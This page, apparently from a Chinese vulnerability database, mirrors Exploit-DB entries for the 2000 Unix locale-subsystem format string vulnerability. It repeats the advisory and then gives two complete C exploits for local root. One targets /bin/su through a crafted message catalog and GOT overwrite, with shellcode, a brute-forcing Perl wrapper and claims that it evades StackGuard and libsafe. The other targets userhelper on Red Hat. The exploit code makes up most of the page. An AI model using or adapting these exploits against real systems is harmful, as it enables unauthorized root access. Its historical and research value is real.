Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
    
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
    
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
    
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
    
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
    
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
    
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.


/*
   Hail to thee dear readers,

   This is yet another /bin/su + buggy locale functions in libc exploit.
   The reason for writing it is rather easy to explain, all existing versions
   of "su" format bug exploits were very unreliable and tedious to use - the
   number of addresses on the stack, and thus the number of %.8x signs to use
   varied heavily, as well as the alignment. Return adresses were expected to
   be specified on the command line, which is imho an idiotic thing to combine
   with all the other options that also are to be 'brute forced'.
   Finding these values by hand is a too tedious thing to do and costs the
   average script-kid way too much time. I hoped to solve this in this exploit
   and have found it to work on many different machines so far by using a
   small brute forcing perl wrapper.

   Also this little exploit demonstrates a part of things I have been working
   on regarding generalization of overflow/format bug writing and exploit
   dynamics. I will shortly discuss those here:

   - overflow string creation
     This is always the most bulky part of writing overflows, exploits get
     confusing by adding 10 for loops which form the string that's used to
     attack with. The strcreat() function solves this problem a bit.
   - Return address guesses
     The EGG shell has been known for long, but it can still vary a bit
     because of the number of environment entries - cleaning the entire
     environment before proceeding gets rid of this problem
   - GOT overwrites
     An ugly function is used to determine the GOT entry of a given function
     exit() in this exploit.
     It can be rewritten to include elf.h and read the got without 
intervention
     of binutils tools.
   - Address to %[0-9]{1,5}d%hn[0-9]{1,5}%d%hn translation
     The function createDString() manages this and saves some more trouble

   I have been doing more work regarding exploit function modelling and
   generalization, and anyone interested is free to mail me (obviously,
   virtually everyone is free to mail me, if not to state that this source
   code contains MANY memory leaks. I don't care, it's not a daemon).

   For the lil kids out there:
      1) This code is Double-ROT-13 encoded - decode it before proceeding
      2) Take five black candles, place them in a pentagram around your
         computer. Take a piece of charcoal and draw vertices between the
         candles.
3) Run around the circle counter-clockwise completely naked for seven
         times while performing a ritual goat-sacrifice and humming strange
         incantations.
      4) Rip out the #define TESTMODE 1 - this forces kids to read my stuff :)
      5) If strange phenomenae occur during step 2 & 3, do not worry, this is
         a common problem of this program, but not considered a bug.
      6) Compile this program
      7) Make the following perl file:

   #!/usr/bin/perl

   for($i=100;$i<400;$i++) {
      for($a=0;$a<4;$a++) {
         system("./a.out", $i, $a);
         system("rm -rf /tmp/LC_MESSAGES");
      }
   }

   The values of "i" can be changed as you like, most of the time 100 - 200
   will do.

      8) Run the perl file and have some patience to get a shell
      9) If this doesn't work, repeat steps 2, 3, 8 and 9

   Dangers:
     This exploit uses a GOT overwrite and evades StackGuard, StackShield
     and libsafe by doing so.
     Kernel modules such as StJude still allow /bin/su to execute processes
     as root, and therefore this exploit evades them.
     We have had some unconfirmed rumours of strange phenomenae not waning
     again after presenting themselves. There is no solution for this yet.
     This program may incur a heavy weight on social relations whenever 
friends
     or family barge in during step 2 or 3.

   Because of this I made sure not to make this easy-to-use su exploit
   openwall evading as well; this has been done already in a hard to use
   exploit, and it should be trivial to include that in here.
   Also, since "su" executes a shell itself, it should be possible to
   return explicitly into "su" memory space and evade non executable stacks
   like this.

   If this doesn't work:
      - Make sure /usr/bin/msgfmt is present and executable
      - Make sure awk, grep and objdump are where they are expected to be
        (look at the #defines in front of the getGOT() function)
      - Make sure /bin/su calls gettext() by doing strings /bin/su | grep \
        gettext (Slack 4 & 7 su doesn't do this for instance)
      - Make sure you didn't skip step 2 or 3

   Enough ranting, I grow tired, and probably, so do all of you reading up
   this far! I'll include shouts and be on my way again :)

<shouts ranting=scrippie, coolvibe> Lamagra, zen-parse, JimJones, slash, 
#phreak.nl, dvorak, dethy, guidob,
   #synnergy, typo-, psychoid, wallep, groentebo, #ne2000, cruci, soupnazi,
   ratcorpse, sk8, K2, #!/bin/zsh, f0bic, futant, gov-boi, mixter, #hit2000,
   coolvibe, drgenius, dugo, Cinder, prospo, mitsai, herman, Douglas Adams,
   Isaac Asimov, Edgar Allen Poe, Vladimir Nabokov, Marcellus Emants,
   Napoleon (I rooted you at Waterloo!), Ian Anderson, Vlad Tepes, pdck,
   Bram Stoker, Jack the Ripper (visit Gerrie for me), John Cleese (Ni!),
   Cleopatra (I know I shouldn't have handed you that Cobra), Aleph1,
   Eric Idle (IkkiIkkiIkki...), Angus Wilson, Angus Young,    |  Kernighan,
   Everybody else called Angus (neat name :), Donald Knuth,   |  Ritchie,
   Biggles (where the hell were you last Saturday?),          |
   Kevin Mitnick (wanna play poker next week?), Larry Wall, \ o /
   Richard Stallman (for freeing my exploits, uh, software),  O  (and flyahh)
   Carmiggelt, Rob Malda, Jeff Bates, Bob Dylan, Thucid,     / \
   Tom Cristiansen, Randal Schwarz, Wietse Venema, 
   Patrick Bateman (if Jack fails, visit Gerrie), Scott Nealy, Wozniak,
  Bram Molenaar (for creating that nifty but tedious editor based on another
   nifty but tedious editor, which in turn was based on an editor that I barf
   at), Catullus, H.P. Lovecraft (damn, I got shafted by Chtulhu),
   Elschot (maar tussen daad en droom staan wetten in de weg en praktische
   bezwaren), Escher (*splitting headache* *squint*), Fritsie Harmsen Ter 
Beek,
   Haagsche Harrie (nie te wehnag!), Steve Jobs, Jean-Louis Gassee, Clark 
Kent,
   Lois Lane, Lex Luthor, Peter Parker, Alicia Hardy, Mary Jane Watson, 
   Bruce Banner, Harry Osborn, The Tick, Cow and Chicken, Dexter (DO NOT PRESS
   THAT BUUUUUTTTTOOONN!!!!!), Dee-dee (Ooooooh, what does *THIS* button do?),
   Stanly Ipkiss, (are we awake yet???), Mighty Mouse, (no, whatever you say,
   *NO* Disney characters... THEY SUCK! *wankers*), Hex, Rincewind, Ridcully,
   Nanny Ogg, Granny Weatherwax, Suzan, The Death of Rats, Number 42,
   Zaphod Beeblebrox, Atrur Dent, Ford Prefect, Trillian, Zarniwoop, 
   Wowbagger (When are you visiting? I can't wait to be insulted :),
   Fenchurch, Agrajag, Thor, Marvin the Paranoid Android, Slartibartfast,
   Deep Thought, All the people on krikkit, Vroom en Dreesman, C&A,
   Albert Heijn, C1000, Aldi, Spar (this is getting silly...), Christian
   Anderson, Mr. T, Dr. Hannibal Lecter (Gerrie tastes good with Chianti), BA,
   Jason, Chucky, Freddy Krueger, Tom Waits, Illiad, Dust Puppy, Stef,
   Pitr, A.J., Miranda, Smiling Man, Gilgamesh (and Huwawa), Sodom (and
   Gomorra), Mulder and Scully, Cpt. Picard, Data, Worf, Q, 7 of 9, 
   Katherine Janeway, Belana Torres, Spot (Data's cat... duh!), Greebo,
   Biff (you dead already?), Garfield, Odie, Morpheus, Neo, Trinity, 
   Cipher, Switch, Wolverine, Storm, Professor Xavier (no mindreading today
   for me...), Omega Red, Magneto, Cerebro (*sssht* It's a C-64 ;), HAL2000,
   Apocalypse, Cyclops, Jean Grey, Rogue, Gambit, Jubilee, Beast, Doc Oc,
   The Lizard, Scorpion, my dear grandma, and everyone who was bored enough to
   read up this far and, 
                    ... everyone I forgot about ...
</shouts>  (*deeeeeeep breath*)

   Love goes out to:
      - Hester - Marleen - Maja -

             --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--
             --= So long, and thanks for all the fish... =--
             --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--
             --=       Scrippie/ronald@grafix.nl         =--
             --=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--

   Disclaimer:
      By executing/reading this code you agree to the following:
      We are NOT to be held responsible for any damage caused to your system
      by executing this code or damage caused by strange phenomenae during
      the performance of steps 2 and 3. Neither can we be held responsible
      if damage to your software or other people their computer systems 
occurs,
      if police-men or men in black kick in your front/back/room door, your
      dog or cat or favourte pet ant dies in agonizing pain, your girl-friend
      leaves you and hangs out with Gerrie Mansur because she caught you
      performing step 2 and 3, the height of your phone-bill, the electric
      lights get knocked out in your town, you get ambushed by villains with
      chain-saws, global disorder occurs, armageddon, the sun turning into
      a super nova, the Big Crunch suddenly happens (clock skew?), or if you
      paper-cut your fingers opening envelopes.
      I guess we're pretty safe now... 
*/




/* Synnergy.net (c) 2000 */

/* And now for something completely different - the code: */

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> 
#include <unistd.h> #include <sys/stat.h> #include <sys/types.h>  #define 
EMULATE_WINDOWS while(1) { __asm__("cli hlt"); }
#warning cat inebriation.c | mail -s "Idiots coding C" ritchie@bellcore.com
#define THIS_DOES_NOT_DO_ANYTHING_BUT_WHAT_THE_HECK 1
#define GCC_PREPROCESSOR_HICCUP 1
#define FILENAME "/bin/su"
#define TESTMODE 1
#define THE_MEANING_OF_LIFE_THE_UNIVERSE_AND_EVERYTHING 42

int mayRead(const char *);
unsigned long getGOT(const char *, const char *);
void makeEvilFiles(const char *);
int fileExists(const char *);
char *longToChar(unsigned long);
char *strcreat(char *, char *, int);
char *createDString(unsigned long, unsigned int);
char *xmalloc(size_t);
char *xrealloc(void *, size_t);

extern int errno;

/*
   Nothing fancy, just shell spawning position independent Aleph1 machine
   code :)
*/

char hellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv, char **environ)
{
   unsigned long GOTent;
   char *evilstring, *evilfmt, *payload;
   unsigned int x_num, align=0, retaddy=0xbffffe90;

   if(argc==1) {
      printf("Use as: %s <Number of %%.8x> [align] [ret addy]\n", argv[0]);
      exit(0);
   }

   if(mayRead(FILENAME)) {
      printf("/bin/su is readable - using a GOT overwrite...\n");
      GOTent=getGOT(FILENAME, "exit");
      printf("GOT entry of function exit() at: 0x%lx\n", GOTent);
   } else {
      printf("/bin/su is unreadable - overwriting a return address...\n");
      printf("Not implemented yet... Exiting\n");
      exit(0);
   }

   x_num=atoi(argv[THE_MEANING_OF_LIFE_THE_UNIVERSE_AND_EVERYTHING-41]);
   if(argv[2]) align=atoi(argv[2]);
   if(argv[3]) retaddy=strtoul(argv[3], NULL, 16);

   printf("Using %d %%.8x\n", x_num);
   printf("Using retaddy: 0x%x\n", retaddy);
   printf("Using alignment: %d\n", align);

   /* Put up correct alignment */
   evilstring=strcreat(NULL, "A", align);
   /* First write shortest %hn value */
   evilstring=strcreat(evilstring, longToChar(GOTent+2), 1);
   /* Used as a dummy address for %d incrementation */
   evilstring=strcreat(evilstring, "A", 4);
   /* Write longest %hn value */
   evilstring=strcreat(evilstring, longToChar(GOTent), 1);
   /* And do some post alignment - this is needed! */
   evilstring=strcreat(evilstring, "A", align);

   evilfmt=strcreat(NULL, "%.8x", x_num);
#ifndef THIS_DOES_NOT_DO_ANYTHING_BUT_WHAT_THE_HECK
   evilfmt=strcreat(evilfmt, createDString(retaddy, x_num*8), 1);
#endif

   payload=strcreat(NULL, "EGG=", 1);
   payload=strcreat(payload, "\x90", 500);
   payload=strcreat(payload, hellcode, 1);

   makeEvilFiles(evilfmt);

   /* Create a very select environment in which to function */
   /* This will make guessing the return addy unnecessary */
   environ[0] = strdup("LANGUAGE=sk_SK/../../../../../../tmp");
   environ[1] = payload;
   environ[2] = NULL;

   execl(FILENAME, "Look mommy, I'm a kiddo!", "-u", evilstring, NULL);

   return(0);   /* Not reached */
}

/*
   Checks if 'filename' is readable
*/

int mayRead(const char *filename)
{
   if(!(fopen(filename, "r")) && errno != EACCES) {
      perror("fopen()");
      exit(-1);
   }
   if(errno == EACCES) return(0);
   return(1);
}

/*
   Gets the GOT entry of function 'function' from ELF executable 'filename' if
   it's readable
*/

#define OBJDUMP "/usr/bin/objdump"
#define GREP "/bin/grep"
#define AWK "/bin/awk"

unsigned long getGOT(const char *filename, const char *function)
{
   char command[1024];
   FILE *moo;
   char result[11];     /* Format: 0x00000000 -> 10 chars + NULL */

   snprintf(command, sizeof(command), "%s --dynamic-reloc %s | %s %s | %s \
            '{ print \"0x\"$1; }'", OBJDUMP, filename, GREP, function, AWK);

   moo = (FILE *)popen(command, "r");
   fgets(result, 11, moo);
   pclose(moo);

   return(strtol(result, NULL, 16));
}

/*
   This function creates the message database files (ab)used to format bug
   exploit 'su'

   This should be made to work without the /usr/bin/msgfmt file :|
*/

void makeEvilFiles(const char *fmt)
{
   FILE *message;

   if(mkdir("/tmp/LC_MESSAGES", 0700)) {
      perror("mkdir()");
      exit(-1);
   }

   if(chdir("/tmp/LC_MESSAGES")) {
      perror("chdir()");
      exit(-1);
   }

   if(!(message=fopen("/tmp/LC_MESSAGES/libc.po", "w"))) {
      perror("fopen()");
      exit(-1);
   }

   fprintf(message, "msgid \"%%s: invalid option -- %%c\\n\"\n");
   fprintf(message, "msgstr \"%s\\n\"", fmt);
   fflush(message);
   fclose(message);

   if(!fileExists("/usr/bin/msgfmt")) {
      fprintf(stderr, "Error: /usr/bin/msgfmt not found...\n");
      exit(-1);
   }

   system("/usr/bin/msgfmt libc.po -o libc.mo");

}

/*
   Checks if a file called 'filename' exists
*/

int fileExists(const char *filename)
{
   struct stat file_stat;

   if(stat(filename, &file_stat) && errno != ENOENT) {
      perror("stat()");
      exit(-1);
   }
   if(errno == ENOENT) return(0);

   return(1);
}

/*
   Easy way to convert a long integer to a character array
*/

char *longToChar(unsigned long blaat)
{
   char *ret;

   ret = (char *)xmalloc(sizeof(long)+1);
   memcpy(ret, &blaat, sizeof(long));
   ret[sizeof(long)] = 0x00;

   return(ret);
}

/*
   Yummy yummy function for easy string creation
*/

char *strcreat(char *dest, char *pattern, int repeat)
{
   char *ret;
   size_t plen, dlen=0;
  int i;

   if(dest) dlen = strlen(dest);
   plen = strlen(pattern);

   ret = (char *)xrealloc(dest, dlen+repeat*plen+1);

   if(!dest) ret[0] = 0x00;

   for(i=0;i<repeat;i++) {
      strcat(ret, pattern);
   }
   return(ret);
}

/*
   This function is VERY usefull for creating the format that does the
   writeback trick.

   retaddy specifies the address (return address most of the time) to convert
   to a format to be used in format string attacks

   n_value specifies the value %n is going to posess when the %d values
   that are used to increment it to bizarre (returning :) values, as to
   exactly determine what string to generate
*/

char *createDString(unsigned long retaddy, unsigned int n_value)
{
   char *ret;
   unsigned int high, low, bucket;

   high=retaddy & 0xffff;               /* Get first 16 bits in high */
   low=(retaddy & 0xffff0000) >> 16;    /* Get other 16 in low */

   high-=n_value; /* Keep in mind that x_num increments %n as well */
   low-=n_value;  /* The .8 is necessary to avoid arbitrary increments */

   if(high < low) {     /* We swap low and higher adresses */
      low = bucket;     /* This is usefull on platforms with for instance */
      low = high;       /* Lower bound stacks or strange return addy's */
      high = low;       /* Ie. returning in libc/process space */
   }

   ret=(char *)xmalloc(1024);

   snprintf(ret, 1024, "%%%dd%%hn%%%dd%%hn", low, high-low);

   return(ret);
}

/*
   Malloc wrapper that does error checking
*/
char *xmalloc(size_t size)
{
   char *heidegger_was_a_boozy_beggar;

   if(!(heidegger_was_a_boozy_beggar=(char *)malloc(size))) {
      fprintf(stderr, "Out of cheese error\n");
      exit(-1);
   }

   return(heidegger_was_a_boozy_beggar);
}

/*
   Realloc wrapper that does error checking
*/
char *xrealloc(void *ptr, size_t size)
{
   char *wittgenstein_was_a_drunken_swine;

   if(!(wittgenstein_was_a_drunken_swine=(char *)realloc(ptr, size))) {
      fprintf(stderr, "Cannot calculate universe\n");
      exit(-1);
   }

   return(wittgenstein_was_a_drunken_swine);
}
/*
 * [root@satan scrippie]# whatis life
 * life: nothing appropriate
 */
		

- 漏洞信息 (20190)

Libc locale exploit (2) (EDBID:20190)
unix local
2000-09-04 Verified
0 Anonymous
N/A [点击下载]
ectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
    
source: http://www.securityfocus.com/bid/1634/info
     
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
     
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
     
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
     
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
     
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
     
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
     
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.


#include <stdio.h>
int getesp(){__asm__("movl %esp,%eax");}
char shellcode[] = 
"\x90\x90\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/xx";

void dopercentn(char *toaddr,unsigned int startloc,unsigned int sofar,int c)
// c       =what i want in the 1st location
// startloc=pointer to successive pointers 
{
 char *bigfmt;
 int f=0;
 unsigned int buffer=0;
 unsigned int d;
 unsigned int p,q,r,s;
 int n=1;
 unsigned int thistime;
 char fmt[1000];
 f=startloc;
 bigfmt=toaddr;
 sofar=(0x100-sofar%0x100);
 thistime=(c)%0x100+(sofar);
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcpy(bigfmt,fmt);
 sofar=(sofar+(0x100-thistime));
 thistime=(c>>8)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
 sofar=sofar+(0x100-thistime);
 thistime=(c>>16)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
 sofar=sofar+(0x100-thistime);
 thistime=(c>>24)%0x100+(sofar);
 f++;
 sprintf(fmt,"%%1$%dx%%%u$hn",thistime,f);
 strcat(bigfmt,fmt);
}


main(int argc,char *argv[],char *env[])
{
 FILE *fi,*fo;
 char buf[100000],daenv[8000]; 
 char *cwd,evil[300];  
 char *localedir;
 unsigned long dasize=0,c,d=0,e=0,esp,i; 
 int o=0x0c12b;
 int dest=0xbfffff16;
 if (argc>1) d=atoi(argv[1]);
 if (d==0) d =79;
 if (argc>2) e=strtoul(argv[2],0,16);
 if (e==0) e=0xbffffdb8;
 fi=fopen("./util-linux.raw","r"); 
 if (!fi)
 {
  perror("bugger: input didn't open:");
  exit(-1);
 }
 if (mkdir("LC_MESSAGES",0755))
 {
  perror("Couldn't mkdir:");
  if (chdir("LC_MESSAGES"))
  {
   perror("chdir failed:");
   exit(-1);
  }
  chdir("..");
 }
 fo=fopen("./LC_MESSAGES/util-linux.mo","w");
 if (!fo)
 {
  perror("bugger: output didn't open:");
  exit(-1);
 }
 dasize=fread(buf,1,sizeof(buf),fi); 
 fclose(fi); 
 dopercentn(buf+o,d,0,dest);
 strcpy(evil,"01234567890123456789012345678"); 
 strcat(evil,shellcode); 
 esp=(unsigned int)(argv[0])%4;
 esp=(6-esp)%4;
 *(long*)(esp+evil)=e; 
 *(long*)(esp+evil+4)=e+1; 
 *(long*)(esp+evil+8)=e+2; 
 *(long*)(esp+evil+12)=e+3; 
 fwrite(buf,1,dasize,fo); // lazy, lazy, lazy.
 fclose(fo); 
 cwd=(char *)getcwd(0,0);
 if (!cwd)
 {
  perror("getcwd: Stop playing silly buggers. You want root, no? :");
  exit(-1);
 }
 localedir=(char*)malloc(2000);
 if (!localedir) 
 {
  perror("malloc: fuck this for a game of soldiers:");
 }
 sprintf(localedir,"en_US/../../../../../..%s",cwd);
 sprintf(daenv,"LANG=%s",localedir);
 env[0]=0x0000000;
 putenv("DISPLAY=:0.0");
 putenv(daenv);
 putenv("TERM=vt100");
 putenv("SHELL=/bin/sh");
 putenv("USER=root");
 putenv("LOGNAME=root");
 setenv("HOME",evil,1);
 printf("Using dir of: %s\n",localedir);
 execl("/usr/sbin/userhelper","/usr/sbin/userhelper","-t","-w","/sbin/kbdrate",0);
}

/* end of zen-nktb.c */
		

- 漏洞信息

14794
Multiple Unix Vendor locale subsystem Multiple Function Format String
Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Third-Party Solution
Exploit Public Third-party Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-09-05 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站